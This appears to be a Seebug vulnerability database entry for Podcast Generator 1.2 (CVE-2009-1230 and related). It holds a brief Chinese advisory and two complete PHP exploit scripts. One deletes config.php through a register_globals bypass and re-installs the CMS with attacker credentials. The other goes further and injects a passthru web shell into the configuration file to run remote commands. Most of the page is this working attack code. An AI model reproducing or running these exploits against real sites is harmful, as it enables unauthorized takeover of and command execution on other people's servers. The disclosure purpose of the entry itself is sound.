Lucene search

K
seebugRootSSV:11543
HistoryJun 06, 2009 - 12:00 a.m.

Podcast Generator多个模块文件包含和任意文件删除漏洞

2009-06-0600:00:00
Root
www.seebug.org
21

EPSS

0.004

Percentile

74.7%

BugCVE: CVE-2009-1230 CVE-2008-1124 CVE-2008-1125
BUGTRAQ: 34317 28038

Podcast Generator的core/archive_cat.php、core/admin/itunescategories.php和core /admin/login.php页面没有正确地过滤对GLOBALS[absoluteurl]参数所传送的输入,core/themes.php页面没有正确地过滤对GLOBALS[theme_path]参数所传送的输入,这可能用于包含本地或外部资源的任意文件;此外core/admin /delete.php页面没有正确地过滤对file和ext"参数所传送的输入,可能导致删除任意文件。成功利用这些漏洞要求打开了 register_globals。

Podcast Generator 1.2
厂商补丁:
Alberto Betella

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
<a href=“http://podcastgen.sourceforge.net/download.php?lang=en” target=“_blank”>http://podcastgen.sourceforge.net/download.php?lang=en</a>


                                                &lt;?php  
#  
# Podcast Generator &lt;= 1.2 unauthorized CMS Re-Installation Remote Exploit  
#  
# by staker  
# --------------------------------------  
# mail: staker[at]hotmail[dot]it  
# url: http://podcastgen.sourceforge.net  
# --------------------------------------  
#  
# it works with register_globals=on  
#    
# short explanation:  
#  
# ----------------------------------------  
# Podcast Generator contains one flaw that  
# allows an attacker to re-install the cms  
# because of unlink() in 'delete.php' file  
# ----------------------------------------  
# Look at '/core/admin/delete.php'  
# (removed author's comments)  
/* 
 
&lt;?php 
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) 
{  exit; } &lt;-------- {1} 
 
if ($amilogged != &quot;true&quot;) { exit; } &lt;-------{2} 
 
    if (isset($_GET['file']) AND $_GET['file']!=NULL) { 
    $file = $_GET['file']; 
     $ext = $_GET['ext']; 
     
    if (file_exists(&quot;$absoluteurl$upload_dir$file.$ext&quot;)) { 
        unlink (&quot;$upload_dir$file.$ext&quot;); &lt;--------{3} 
        $PG_mainbody .=&quot;&lt;p&gt;&lt;b&gt;$file.$ext&lt;/b&gt; $L_deleted&lt;/p&gt;&quot;; 
    } 
 
 
*/  
#  
# Explanation (code snippet above [points])  
# -----------------------------------------------------------------------------------  
# 1. blocks all 'amilogged' REQUEST variables,what about GLOBALS?,therefore useless!  
# 2. if 'amilogged' isn't true -&gt; exit() function activated.  
# 3. unlink() delete an existing file.  
# -----------------------------------------------------------------------------------  
#  
# It's possible to delete 'config.php' to re-install the cms. we need 'amilogged'  
# set to true. We can do it using a GLOBALS variable.  
#  
# admin/core/delete.php?GLOBALS[amilogged]=true&amp;file=../../config&amp;ext=php  
#  
# Various:  
# --------------------------------------------------  
# They didn't help me but i want to give a thanks to  
# girex,skerno,Chaomel,XaDoS,Dante90 and Gianluka_95    
# --------------------------------------------------  
# Today is: 02 June 2009.  
# Location: Italy,Turin.  
# http://www.youtube.com/watch?v=dBc7mK5iAH0  
# --------------------------------------------------  
  
error_reporting(E_STRICT ^ E_WARNING);  
  
if ($argc &lt; 2) start_usage();              
  
$host = $argv[1];  
$path = $argv[2];  
  
re_install();  
  
function send_request($data)  
{          
        global $host;  
          
        if (!$sock = @fsockopen($host,80)) {  
               die(&quot;connection refused..\n&quot;);  
        }  
          
        if (isset($data)) {  
               fputs($sock,$data);  
        }  
                
        while (!feof($sock)) { $result .= fgets($sock); }            
          
        fclose($sock);  
        return $result;  
}  
  
  
function remove_config()  
{  
        global $host,$path;  
          
        $in_lex = &quot;/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&amp;file=../../config&amp;ext=php&quot;;  
          
        $config  = &quot;GET {$in_lex} HTTP/1.1\r\n&quot;;  
        $config .= &quot;User-Agent: Lynx (textmode)\r\n&quot;;  
        $config .= &quot;Host: {$host}\r\n&quot;;  
        $config .= &quot;Connection: close\r\n\r\n&quot;;  
          
        $lol = send_request($config);  
          
        if (check_config() != FALSE) {  
              die(&quot;register_globals=off, exploit failed!\n&quot;);  
        }  
        else {  
             return true;  
        }            
}  
  
  
function re_install()  
{  
        global $host,$path;  
        
        $binary = &quot;username=staker&amp;password=killingyourself&amp;password2=killingyourself&amp;setuplanguage=en&quot;;  
          
        $config  = &quot;POST {$path}/setup/index.php?step=5 HTTP/1.1\r\n&quot;;  
        $config .= &quot;User-Agent: Lynx (textmode)\r\n&quot;;  
        $config .= &quot;Host: {$host}\r\n&quot;;  
        $config .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;  
        $config .= &quot;Content-Length: &quot;.strlen($binary).&quot;\r\n&quot;;  
        $config .= &quot;Connection: close\r\n\r\n&quot;;  
        $config .= $binary;  
          
        remove_config();  
        $content = send_request($config);  
          
          
        if (eregi('Creation of the configuration file',$content)) {  
             echo &quot;[ re-installed successful\n&quot;;  
             echo &quot;[ username: staker\n[ password: killingyourself\n&quot;; exit(0);  
        }  
        else {  
             die(&quot;Exploit failed\n&quot;);  
        }                  
}  
        
  
  
  
function check_config()  
{  
        global $host,$path;  
          
        $config  = &quot;GET /{$path}/config.php HTTP/1.1\r\n&quot;;  
        $config .= &quot;User-Agent: Lynx (textmode)\r\n&quot;;  
        $config .= &quot;Host: {$host}\r\n&quot;;  
        $config .= &quot;Connection: close\r\n\r\n&quot;;  
          
        $content = send_request($config);  
          
        if (ereg('HTTP/1.1 404 Not Found',$content))  {  
              return false;  
        }        
        else {  
              return true;              
        }  
}  
  
  
function start_usage()  
{  
         print &quot;[*--------------------------------------------------------------------------*]\n&quot;.  
               &quot;[* Podcast Generator &lt;= 1.2 unauthorized CMS Re-Installation Remote Exploit *]\n&quot;.  
               &quot;[*--------------------------------------------------------------------------*]\n&quot;.  
               &quot;[* Usage: php podcast_xpl.php [host] [path]                                 *]\n&quot;.  
               &quot;[* [host] host -&gt; example: localhost                                        *]\n&quot;.  
               &quot;[* [path] path -&gt; example: /podcast                                         *]\n&quot;.  
               &quot;[*--------------------------------------------------------------------------*]\n&quot;;  
         die();        
}  
  
  
  
#!/usr/bin/php -q -d short_open_tag=on  
&lt;?  
echo &quot;  
  
Podcast Generator &lt;= 1.1 Remote Code Execution  
  
Vendor: http://podcastgen.sourceforge.net  
Exploit Author: BlackHawk  
Author's Site: http://itablackhawk.altervista.org  
  
Credits goes to RGod for the code  
Thanks to Marija just for exist :)  
  
  
&quot;;  
if ($argc&lt;4) {  
echo &quot;  
  
Usage: php &quot;.$argv[0].&quot; host /path/ command  
  
        Es: php &quot;.$argv[0].&quot; localhost / dir  
  
&quot;;  
die;  
}  
/* 
Bugs explanation: 
 
This app has tons of bugs, but because of his structure lot of them are useless.. but not them all! 
 
Look at 'core/admin/delete.php' (i have omitted the author comments): 
 
--------------------------- 
 
&lt;?php 
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) { exit; } 
if (isset($_GET['file']) AND $_GET['file']!=NULL) { 
    $file = $_GET['file']; 
    $ext = $_GET['ext']; 
    if (file_exists(&quot;$absoluteurl$upload_dir$file.$ext&quot;)) { 
        unlink (&quot;$upload_dir$file.$ext&quot;); 
        $PG_mainbody .=&quot;&lt;p&gt;&lt;b&gt;$file.$ext&lt;/b&gt; $L_deleted&lt;/p&gt;&quot;; 
    } 
 
--------------------------- 
 
no check for admin rights, so now we can delete whatever file we want, with any exstension.. 
 
so let's delete config.php and make a rfesh new installation with a password set by us! 
 
the RCE is triggered in 'core/admin/scriptconfig.php', line 56: 
 
--------------------------- 
// recent in home 
$recent = $_POST['recent']; 
if ($recent != &quot;&quot;) { 
    $max_recent = $recent; 
} 
--------------------------- 
 
no sanitize of the input and no quotes added when writting to the config file (so no need mq=off) 
BlackHawk &lt;[email protected]&gt; 
*/  
error_reporting(0);  
ini_set(&quot;max_execution_time&quot;,0);  
ini_set(&quot;default_socket_timeout&quot;,5);  
  
function quick_dump($string)  
{  
  $result='';$exa='';$cont=0;  
  for ($i=0; $i&lt;=strlen($string)-1; $i++)  
  {  
   if ((ord($string[$i]) &lt;= 32 ) | (ord($string[$i]) &gt; 126 ))  
   {$result.=&quot;  .&quot;;}  
   else  
   {$result.=&quot;  &quot;.$string[$i];}  
   if (strlen(dechex(ord($string[$i])))==2)  
   {$exa.=&quot; &quot;.dechex(ord($string[$i]));}  
   else  
   {$exa.=&quot; 0&quot;.dechex(ord($string[$i]));}  
   $cont++;if ($cont==15) {$cont=0; $result.=&quot;\r\n&quot;; $exa.=&quot;\r\n&quot;;}  
  }  
return $exa.&quot;\r\n&quot;.$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
  global $proxy, $host, $port, $html, $proxy_regex;  
  if ($proxy=='') {  
    $ock=fsockopen(gethostbyname($host),$port);  
    if (!$ock) {  
      echo 'No response from '.$host.':'.$port; die;  
    }  
  }  
  else {  
    $c = preg_match($proxy_regex,$proxy);  
    if (!$c) {  
      echo 'Not a valid proxy...';die;  
    }  
    $parts=explode(':',$proxy);  
    echo &quot;Connecting to &quot;.$parts[0].&quot;:&quot;.$parts[1].&quot; proxy...\r\n&quot;;  
    $ock=fsockopen($parts[0],$parts[1]);  
    if (!$ock) {  
      echo 'No response from proxy...';die;  
    }  
  }  
  fputs($ock,$packet);  
  if ($proxy=='') {  
    $html='';  
    while (!feof($ock)) {  
      $html.=fgets($ock);  
    }  
  }  
  else {  
    $html='';  
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
      $html.=fread($ock,1);  
    }  
  }  
  fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
  
$cmd=&quot;&quot;;  
for ($i=3; $i&lt;=$argc-1; $i++){  
$cmd.=&quot; &quot;.$argv[$i];  
}  
$port=80;  
$proxy=&quot;&quot;;  
  
  
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo &quot;Step1 - Delete config.inc\r\n&quot;;  
$packet =&quot;GET &quot;.$p.&quot;core/admin/delete.php?file=../../config&amp;ext=php HTTP/1.0\r\n&quot;;  
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;  
$packet.=&quot;Connection: Close\r\n\r\n&quot;;  
sendpacketii($packet);  
  
echo &quot;Step2 - Creating new configuration\r\n&quot;;  
  
$data=&quot;username=new_user_name&amp;password=blackhawk&amp;password2=blackhawk&amp;setuplanguage=en&quot;;  
$packet=&quot;POST &quot;.$p.&quot;/setup/index.php?step=5 HTTP/1.0\r\n&quot;;  
$packet.=&quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;;  
$packet.=&quot;Accept-Language: it\r\n&quot;;  
$packet.=&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;  
$packet.=&quot;Accept-Encoding: gzip, deflate\r\n&quot;;  
$packet.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&quot;;  
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;  
$packet.=&quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;;  
$packet.=&quot;Connection: Close\r\n&quot;;  
$packet.=&quot;Cache-Control: no-cache\r\n\r\n&quot;;  
$packet.=$data;  
sendpacketii($packet);  
  
echo &quot;Step3 - Logging in\r\n&quot;;  
$data=&quot;user=new_user_name&amp;password=blackhawk&quot;;  
$packet=&quot;POST &quot;.$p.&quot;?p=admin HTTP/1.0\r\n&quot;;  
$packet.=&quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n&quot;;  
$packet.=&quot;Accept-Language: it\r\n&quot;;  
$packet.=&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;  
$packet.=&quot;Accept-Encoding: gzip, deflate\r\n&quot;;  
$packet.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&quot;;  
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;  
$packet.=&quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;;  
$packet.=&quot;Connection: Close\r\n&quot;;  
$packet.=&quot;Cache-Control: no-cache\r\n\r\n&quot;;  
$packet.=$data;  
sendpacketii($packet);  
$temp=explode(&quot;Set-Cookie: &quot;,$html);  
$temp2=explode(&quot; &quot;,$temp[1]);  
$PHPid = $temp2[0];  
  
  
echo &quot;Step4 - Sending shell\r\n&quot;;  
$data=&quot;streaming=yes&amp;fbox=yes&amp;cats=yes&amp;newsinadmin=yes&amp;strictfilename=yes&amp;recent=5; if (isset(\$_GET[cmd])){if(get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}echo 666999;passthru(\$_GET[cmd]);echo 666999;}\$xyz=5&amp;recentinfeed=All&amp;selectdateformat=d-m-Y&amp;scriptlanguage=en&quot;;  
$packet=&quot;POST &quot;.$p.&quot;?do=config&amp;p=admin&amp;action=change HTTP/1.0\r\n&quot;;  
$packet.=&quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n&quot;;  
$packet.=&quot;Accept-Language: it\r\n&quot;;  
$packet.=&quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;  
$packet.=&quot;Accept-Encoding: gzip, deflate\r\n&quot;;  
$packet.=&quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&quot;;  
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;  
$packet.=&quot;Cookie: $PHPid\r\n&quot;;  
$packet.=&quot;Content-Length: &quot;.strlen($data).&quot;\r\n&quot;;  
$packet.=&quot;Connection: Close\r\n&quot;;  
$packet.=&quot;Cache-Control: no-cache\r\n\r\n&quot;;  
$packet.=$data;  
sendpacketii($packet);  
  
echo &quot;Step5 - Executing Command\r\n\r\n&quot;;  
$packet =&quot;GET &quot;.$p.&quot;config.php?cmd=dir HTTP/1.0\r\n&quot;;  
$packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;  
$packet.=&quot;Connection: Close\r\n\r\n&quot;;  
$packet.=$data;  
sendpacketii($packet);  
if (strstr($html,&quot;666999&quot;))  
{  
  echo &quot;Exploit succeeded...\r\n&quot;;  
  $temp=explode(&quot;666999&quot;,$html);  
  die(&quot;\r\n&quot;.$temp[1].&quot;\r\n&quot;);  
}  
?&gt;  
                              

EPSS

0.004

Percentile

74.7%